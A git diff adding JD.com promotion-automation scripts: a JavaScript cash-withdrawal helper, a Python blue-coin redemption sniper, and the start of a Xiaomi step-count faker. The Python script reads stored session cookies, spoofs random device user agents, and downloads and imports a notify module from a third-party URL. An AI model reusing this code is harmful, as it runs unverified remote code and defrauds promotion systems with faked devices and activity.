第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } else if (data.data.rewardState === 3) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); + $.changeReward = false; + } else { + if (type) { + console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) + ReturnMessage += `${new Date().getHours()}点:${data.data.amount}现金\n`; + } else { + console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } + } else { + $.canApCashWithDraw = true; + $.changeReward = false; + console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve() + } + }) + }) +} +//翻翻乐提现 +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + "businessSource": "GAMBLE", + "base": { + id, + "business": "redEnvelopeDouble", + poolBaseId, + prizeGroupId, + prizeBaseId, + prizeType + }, + "linkId": fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['status'] === '310') { + console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); + ReturnMessage += `提现至微信钱包成功🎉\n\n`; + } else { + console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); + ReturnMessage += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } else { + console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); + ReturnMessage += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve() + } + }) + }) +} +// prettier-ignore +function Env(t, e) { + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + a = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(a, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t) { + let e = { + "M+": (new Date).getMonth() + 1, + "d+": (new Date).getDate(), + "H+": (new Date).getHours(), + "m+": (new Date).getMinutes(), + "s+": (new Date).getSeconds(), + "q+": Math.floor(((new Date).getMonth() + 3) / 3), + S: (new Date).getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let s in e) + new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); + let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; + h.push(e), + s && h.push(s), + i && h.push(i), + console.log(h.join("\n")), + this.logs = this.logs.concat(h) + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/backUp/jd_blueCoin.py b/backUp/jd_blueCoin.py new file mode 100644 index 0000000..d989b89 --- /dev/null +++ b/backUp/jd_blueCoin.py @@ -0,0 +1,561 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +cron: 59 23 * * * jd_blueCoin.py +''' +################【参数】###################### +# ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck +#ENV设置:export JD_COOKIE='cookie1&cookie2' +cookies = '' +#【填写您要兑换的商品】ENV设置: export coinToBeans='京豆包' +coinToBeans = '' + +#多账号并发,默认关闭 ENV设置开启: export blueCoin_Cc=True +blueCoin_Cc = False +#单击次数 +dd_thread = 3 +############################################### + +import time, datetime, os, sys, random +import requests, re, json +from urllib.parse import quote, unquote +import threading +requests.packages.urllib3.disable_warnings() +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +# timestamp = int(round(time.time() * 1000)) +script_name = '东东超市商品兑换' +title = '' +prizeId = '' +blueCost = '' +inStock = '' +UserAgent = '' +periodId = '' +#最长抢兑结束时间 +endtime='00:00:30.00000000' +today = datetime.datetime.now().strftime('%Y-%m-%d') +unstartTime = datetime.datetime.now().strftime('%Y-%m-%d 23:55:00.00000000') +tomorrow = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d') +starttime = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d 00:00:00.00000000') + + +def printT(s): + print("[{0}]: {1}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush() + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + +class getJDCookie(object): + # 适配各种平台环境ck + + def getckfile(self): + global v4f + curf = pwd + 'JDCookies.txt' + v4f = '/jd/config/config.sh' + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(curf): + with open(curf, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + return curf + else: + pass + if os.path.exists(ql_new): + printT("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + printT("当前环境青龙面板旧版") + return ql_old + elif os.path.exists(v4f): + printT("当前环境V4") + return v4f + return curf + + # 获取cookie + def getCookie(self): + global cookies + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + if 'pt_key=' in cks and 'pt_pin=' in cks: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + if 'JDCookies.txt' in ckfile: + printT("当前获取使用 JDCookies.txt 的cookie") + cookies = '' + for i in cks: + if 'pt_key=xxxx' in i: + pass + else: + cookies += i + return + else: + with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: + cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" + f.write(cks) + f.close() + if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + printT("已获取并使用Env环境 Cookie") + except Exception as e: + printT(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + def getUserInfo(self, ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'close', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text + r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') + result = r.findall(resp) + userInfo = json.loads(result[0]) + nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + except Exception: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + printT(context) + return ck, False + + def iscookie(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + printT("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + printT("没有可用Cookie,已退出") + exit(3) + else: + printT("cookie 格式错误!...本次操作已退出") + exit(4) + else: + printT("cookie 格式错误!...本次操作已退出") + exit(4) +getCk = getJDCookie() +getCk.getCookie() + +# 获取v4环境 特殊处理 +try: + with open(v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read() + r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall(v4Env) + curenv = locals() + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) +except: + pass + + + +if "coinToBeans" in os.environ: + if len(os.environ["coinToBeans"]) > 1: + coinToBeans = os.environ["coinToBeans"] + printT(f"已获取并使用Env环境 coinToBeans:{coinToBeans}") +if "blueCoin_Cc" in os.environ: + if len(os.environ["blueCoin_Cc"]) > 1: + blueCoin_Cc = getEnvs(os.environ["blueCoin_Cc"]) + printT(f"已获取并使用Env环境 blueCoin_Cc:{blueCoin_Cc}") +if "dd_thread" in os.environ: + if len(os.environ["dd_thread"]) > 1: + dd_thread = getEnvs(os.environ["dd_thread"]) + printT(f"已获取并使用Env环境 dd_thread:{dd_thread}") +class TaskThread(threading.Thread): + """ + 处理task相关的线程类 + """ + def __init__(self, func, args=()): + super(TaskThread, self).__init__() + self.func = func # 要执行的task类型 + self.args = args # 要传入的参数 + + def run(self): + # 线程类实例调用start()方法将执行run()方法,这里定义具体要做的异步任务 + # printT("start func {}".format(self.func.__name__)) # 打印task名字 用方法名.__name__ + self.result = self.func(*self.args) # 将任务执行结果赋值给self.result变量 + + def get_result(self): + # 改方法返回task函数的执行结果,方法名不是非要get_result + try: + return self.result + except Exception as ex: + printT(ex) + return "ERROR" + +def userAgent(): + """ + 随机生成一个UA + :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 + """ + if not UserAgent: + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join( + random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + else: + return UserAgent + +## 获取通知服务 +class msg(object): + def __init__(self, m=''): + self.str_msg = m + self.message() + def message(self): + global msg_info + printT(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + ################### +msg().main() + + +def setHeaders(cookie): + headers = { + 'Origin': 'https://jdsupermarket.jd.com', + 'Cookie': cookie, + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + 'Referer': 'https://jdsupermarket.jd.com/game/?tt={}'.format(int(round(time.time() * 1000))-314), + 'Host': 'api.m.jd.com', + 'User-Agent': userAgent(), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-cn' + } + return headers + +#查询东东超市蓝币数量 +def getBlueCoinInfo(headers): + try: + url='https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_newHome&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%2218%22%7D&t={0}'.format(int(round(time.time() * 1000))) + respon = requests.get(url=url, verify=False, headers=headers) + result = respon.json() + if result['data']['bizCode'] == 0: + totalBlue = result['data']['result']['totalBlue'] + shopName = result['data']['result']['shopName'] + return totalBlue, shopName + else: + totalBlue = 0 + shopName = result['data']['bizMsg'] + return totalBlue, shopName + except Exception as e: + printT(e) + + +#查询所有用户蓝币、等级 +def getAllUserInfo(userName): + id_num = 1 + for ck in cookies: + headers = setHeaders(ck) + try: + totalBlue,shopName = getBlueCoinInfo(headers) + url = 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_receiveCoin&clientVersion=8.0.0&client=m&body=%7B%22type%22:4,%22channel%22:%2218%22%7D&t={0}'.format(int(round(time.time() * 1000))) + respon = requests.get(url=url, verify=False, headers=headers) + result = respon.json() + level = result['data']['result']['level'] + printT("【用户{4}:{5}】: {0} {3}\n【等级】: {1}\n【蓝币】: {2}万\n------------------".format(shopName, level, totalBlue / 10000,totalBlue, id_num,userName)) + except Exception as e: + # printT(e) + printT(f"账号{id_num}【{userName}】异常请检查ck是否正常~") + id_num += 1 +#查询商品 +def smtg_queryPrize(headers, coinToBeans): + url = 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%2218%22%7D&t={}'.format(int(round(time.time() * 1000))) + try: + respone = requests.get(url=url, verify=False, headers=headers) + result = respone.json() + allAreas = result['data']['result']['areas'] + for alist in allAreas: + for x in alist['prizes']: + if coinToBeans in x['name']: + areaId = alist['areaId'] + periodId = alist['periodId'] + if alist['areaId'] != 6: + skuId = x['skuId'] + else: + skuId = 0 + title = x['name'] + prizeId = x['prizeId'] + blueCost = x['cost'] + status = x['status'] + return title, prizeId, blueCost, status, skuId, areaId, periodId + # printT("请检查设置的兑换商品名称是否正确?") + # return 0, 0, 0, 0, 0 + except Exception as e: + printT(e) + + +#判断设置的商品是否存在 存在则返回 商品标题、prizeId、蓝币价格、是否有货 +def isCoinToBeans(coinToBeans,headers): + if coinToBeans.strip() != '': + try: + title, prizeId, blueCost, status, skuId, areaId, periodId = smtg_queryPrize(headers,coinToBeans) + return title, prizeId, blueCost, status, skuId, areaId, periodId + except Exception as e: + printT(e) + pass + else: + printT("1.请检查设置的兑换商品名称是否正确?") + exit(0) +#抢兑换 +def smtg_obtainPrize(prizeId, areaId, periodId, headers, username): + body = { + "connectId": prizeId, + "areaId": areaId, + "periodId": periodId, + "informationParam": { + "eid": "", + "referUrl": -1, + "shshshfp": "", + "openId": -1, + "isRvc": 0, + "fp": -1, + "shshshfpa": "", + "shshshfpb": "", + "userAgent": -1 + }, + "channel": "18" + } + + timestamp = int(round(time.time() * 1000)) + url = f'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smt_exchangePrize&clientVersion=8.0.0&client=m&body={quote(json.dumps(body))}&t={timestamp}' + try: + respon = requests.post(url=url, verify=False, headers=headers) + result = respon.json() + printT(result) + success = result['data']['success'] + bizMsg = result['data']['bizMsg'] + if success == True: + printT(result) + printT(f"【{username}】{bizMsg}...恭喜兑换成功!") + return 0 + else: + printT(f"【{username}】{bizMsg}") + return 999 + except Exception as e: + printT(e) + + +def issmtg_obtainPrize(ck, user_num, prizeId, areaId, periodId, title): + + try: + userName = userNameList[cookiesList.index(ck)] + t_num = range(dd_thread) + threads = [] + for t in t_num: + thread = TaskThread(smtg_obtainPrize, args=(prizeId, areaId, periodId, setHeaders(ck), userName)) + threads.append(thread) + thread.start() + for thread in threads: + thread.join() + result = thread.get_result() + if result == 0: + msg(f"账号{user_num}:{userName} 成功兑换【{title}】") + return 0 + nowtime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f8') + if nowtime > qgendtime: + return 2 + title, prizeId, blueCost, status, skuId, areaId, periodId = isCoinToBeans(coinToBeans, setHeaders(ck)) + if status == 2: + printT("{1}, 你好呀~【{0}】 当前没货了......".format(title, userName)) + return 2 + else: + return 0 + + except Exception as e: + printT(e) + return 1 + +def checkUser(cookies,): #返回符合条件的ck list + global title, prizeId, blueCost, status, skuId, areaId, periodId + cookieList=[] + user_num=1 + a = 0 + for i in cookies: + headers = setHeaders(i) + userName = userNameList[cookiesList.index(i)] + try: + totalBlue, shopName = getBlueCoinInfo(headers) + if totalBlue != 0: + if a == 0: + a = 1 + title, prizeId, blueCost, status, skuId, areaId, periodId = isCoinToBeans(coinToBeans,headers) + totalBlueW = totalBlue / 10000 + if user_num == 1: + printT("您已设置兑换的商品:【{0}】 需要{1}w蓝币".format(title, blueCost / 10000)) + printT("********** 首先检测您是否有钱呀 ********** ") + if totalBlue > blueCost: + cookieList.append(i) + printT(f"账号{user_num}:【{userName}】蓝币:{totalBlueW}万...yes") + else: + printT(f"账号{user_num}:【{userName}】蓝币:{totalBlueW}万...no") + except Exception as e: + printT(f"账号{user_num}:【{userName}】,该用户异常,查不到商品关键词【{coinToBeans}】") + user_num += 1 + + if len(cookieList) >0: + printT("共有{0}个账号符合兑换条件".format(len(cookieList))) + return cookieList + else: + printT("共有{0}个账号符合兑换条件...已退出,请继续加油赚够钱再来~".format(len(cookieList))) + exit(0) + +#Start +def start(): + try: + global cookiesList, userNameList, pinNameList, cookies, qgendtime + printT("{} Start".format(script_name)) + cookiesList, userNameList, pinNameList = getCk.iscookie() + cookies = checkUser(cookiesList) + qgendtime = '{} {}'.format(tomorrow, endtime) + if blueCoin_Cc: + msg("并发模式:多账号") + else: + msg("并发模式:单账号") + printT(f"开始抢兑时间[{starttime}]\n正在等待,请勿终止退出...") + while True: + nowtime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f8') + if nowtime > starttime: + if blueCoin_Cc: + ttt = [] + user_num = 1 + for ck in cookies: + thread = TaskThread(issmtg_obtainPrize, args=(ck, user_num, prizeId, areaId, periodId, title)) + ttt.append(thread) + thread.start() + user_num += 1 + for thread in ttt: + thread.join() + result = thread.get_result() + if result == 2: + break + else: + user_num = 1 + for ck in cookies: + response = issmtg_obtainPrize(ck, user_num, prizeId, areaId, periodId, title) + user_num += 1 + if response == 2: + break + elif nowtime > qgendtime: + break + elif nowtime < unstartTime: + printT("Sorry,还没到时间。") + printT("【皮卡丘】建议cron: 59 23 * * * python3 jd_blueCoin.py") + break + except Exception as e: + printT(e) +if __name__ == '__main__': + start() + try: + if '成功兑换' in msg_info: + send(script_name, msg_info) + except: + pass \ No newline at end of file diff --git a/backUp/jd_bs.py b/backUp/jd_bs.py new file mode 100644 index 0000000..afb0a88 --- /dev/null +++ b/backUp/jd_bs.py @@ -0,0 +1,39 @@ +#/* +# 小米运动更新步数 +#[task_local] +# 小米运动更新步数 +#0 15 15 * * +#*/ + +import requests + +import random + +number2 = random.randint(50001,65000) + +dict = { +# '小米运行账号':'密码' + '':'' + } + +header={ + + 'User_Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET 